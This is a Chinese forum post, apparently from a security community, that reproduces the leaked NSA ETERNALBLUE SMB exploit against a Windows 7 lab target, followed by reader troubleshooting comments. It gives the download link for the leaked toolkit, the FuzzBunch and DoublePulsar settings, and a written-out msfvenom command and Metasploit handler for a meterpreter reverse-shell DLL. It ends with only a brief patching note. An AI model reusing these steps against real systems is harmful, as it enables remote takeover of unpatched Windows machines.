NSA 0day ETERNALBLUE 漏洞利用

tinyfisher / 2017-04-15 11:53:34 / 浏览数 11667 安全技术 漏洞分析 顶(0) 踩(0)

Shadow Brokers再次泄露出一份震惊世界的机密文档，其中包含了多个精美的 Windows 远程漏洞利用工具，可以覆盖大量的 Windows 服务器，一夜之间所有Windows服务器几乎全线暴露在危险之中。
目前已知受影响的 Windows 版本包括但不限于：Windows NT，Windows 2000（没错，古董也支持）、Windows XP、Windows 2003、Windows Vista、Windows 7、Windows 8，Windows 2008、Windows 2008 R2、Windows Server 2012 SP0。
工具中的ETERNALBLUE模块是SMB 漏洞利用程序，可以攻击开放了 445 端口的 Windows 机器，本文进行了漏洞利用复现：
1.NSA泄露工具下载地址：
https://github.com/x0rz/EQGRP_Lost_in_Translation
2.安装方法
环境搭建
注意，必须按照python2.6相关版本，其他版本不奏效。
下载python2.6并安装
下载pywin32并安装
将C:\Python26添加到环境变量PATH中。
配置环境　将EQGRP_Lost_in_Translation下载到的文件解压，找到\windows\fb.py，将，下图中两个部分注释掉。

1. 实验环境
攻击机1：192.168.71.133，winserver 2008，32bit

攻击机2：192.168.71.130 kali2

靶机：192.168.199.107，win7 64bit

1. 利用步骤：
在靶机1（192.168.71.133）中安装好python、pywin32以及NSA工具，在C:\shadowbroker-master\windows 中执行fb.py：

分别设置攻击IP地址192.168.199.107，回调地址192.168.71.133（攻击机1），关闭重定向，设置日志路径，新建或选择一个project：

接下来输入命令：
useETERNALBLUE
依次填入相关参数，超时时间等默认参数可以直接回车：

由于靶机是win7 系统，在目标系统信息处选择1：win72k8r2

模式选1：FB

确认信息，执行

成功后，接着运行use Doublepulsar：

并依次填入参数，注意在function处选择2，rundll

同时在攻击机2 kali的msfvenom 生成攻击dll：
msfvenom -pwindows/x64/meterpreter/reverse_tcp LHOST=192.168.71.130LPORT=5555 -f dll > go.dll

接着执行：
$ msfconsole
msf > useexploit/multi/handler
msf > set LHOST192.168.71.130
msf > set LPORT 5555
msf > set PAYLOADwindows/x64/meterpreter/reverse_tcp
msf > exploit

同时将生成的go.dll上传到攻击机1（192.168.71.133），回到攻击机1，填入攻击dll路径：

接下来一路回车，执行攻击

回到kali，获得shell，攻击成功：

5.缓解措施
微软表示已经修补了Shadow Brokers小组发布的Windows漏洞。可能源于国家安全局的黑客工具昨天在线发布，微软能够测试并确认修补程序已经可用于所有当前支持的XP或Windows
Vista系统仍然可能容易受到发布的三个漏洞的攻击，但是由于Microsoft已经不支持，因此Microsoft不太可能为这些旧版本的Windows提供补丁。
请大家及时更新补丁，并关闭必要的139,445,3389端口。

点击收藏 | 0 关注 | 0

上一篇：Phpcms_V9任意文件上传 漏洞分析 下一篇：伏宸验证码识别有没有视频教程啊

1. 9 条回复

palex 2017-04-16 10:05:59

```
Traceback (most recent call last):
 File "E:\EQGRP_Lost_in_Translation-master\windows\fb.py", line 37, in <module>

    from fuzzbunch.edfplugin import EDFPlugin
 File "E:\EQGRP_Lost_in_Translation-master\windows\fuzzbunch\edfplugin.py", lin
e 7, in <module>
   from plugin       import Plugin
 File "E:\EQGRP_Lost_in_Translation-master\windows\fuzzbunch\plugin.py", line 8
, in <module>
   import truantchild
 File "E:\EQGRP_Lost_in_Translation-master\windows\fuzzbunch\truantchild.py", l
ine 8, in <module>
   import exma
 File "E:\EQGRP_Lost_in_Translation-master\windows\fuzzbunch\exma.py", line 17,
in <module>
   _libraries['exma.dll'] = ctypes.CDLL('exma-1.dll')
 File "C:\Python26\lib\ctypes__init.py", line 353, in init__
   self._handle = _dlopen(self._name, mode)
WindowsError: [Error 193] %1 不是有效的 Win32
```

是什么问题啊？

0 回复Ta

asdpppp 2017-04-17 01:26:11

感谢分享，谢谢

0 回复Ta


hades 2017-04-17 01:50:03

去下个pywin32
找2.6对应版本的

系统用windows 2003

0 回复Ta


master 2017-04-22 02:06:01

首先，特别感谢作者的分享，给100个赞，其次我发现文中有个地方可能会有点问题。

32bit的操作系统，用x64的反弹模块和dll，应该是不成功的，为了这个细节，我测试了大概10+的 环境，不是蓝屏就是重启。

不知道楼主的图配错了，还是我这边却是测试不成功

0 回复Ta


tinyfisher 2017-04-24 09:55:56

感谢支持，我的靶机win7 是64bit的，攻击机是32位的，当时测没有遇到蓝屏的问题

0 回复Ta


tinyfisher 2017-04-24 09:56:36

需要下载pywin32哦

0 回复Ta


tinyfisher 2017-04-24 09:57:03

需要下载pywin32哦

0 回复Ta


阿洋阿哥 2017-04-27 18:17:20

你应该安装的是64位的py，工具里面是程序是32位的，也调用了32位的exma-1.dll，所以执行的时候要报错。

0 回复Ta


hades 2017-04-28 06:41:59

貌似有这个可能。。细节方面很重要

0 回复Ta

登录 后跟帖

先知社区

现在登录

热门节点

技术文章

社区小黑板

目录

RSS 关于社区 友情链接 社区小黑板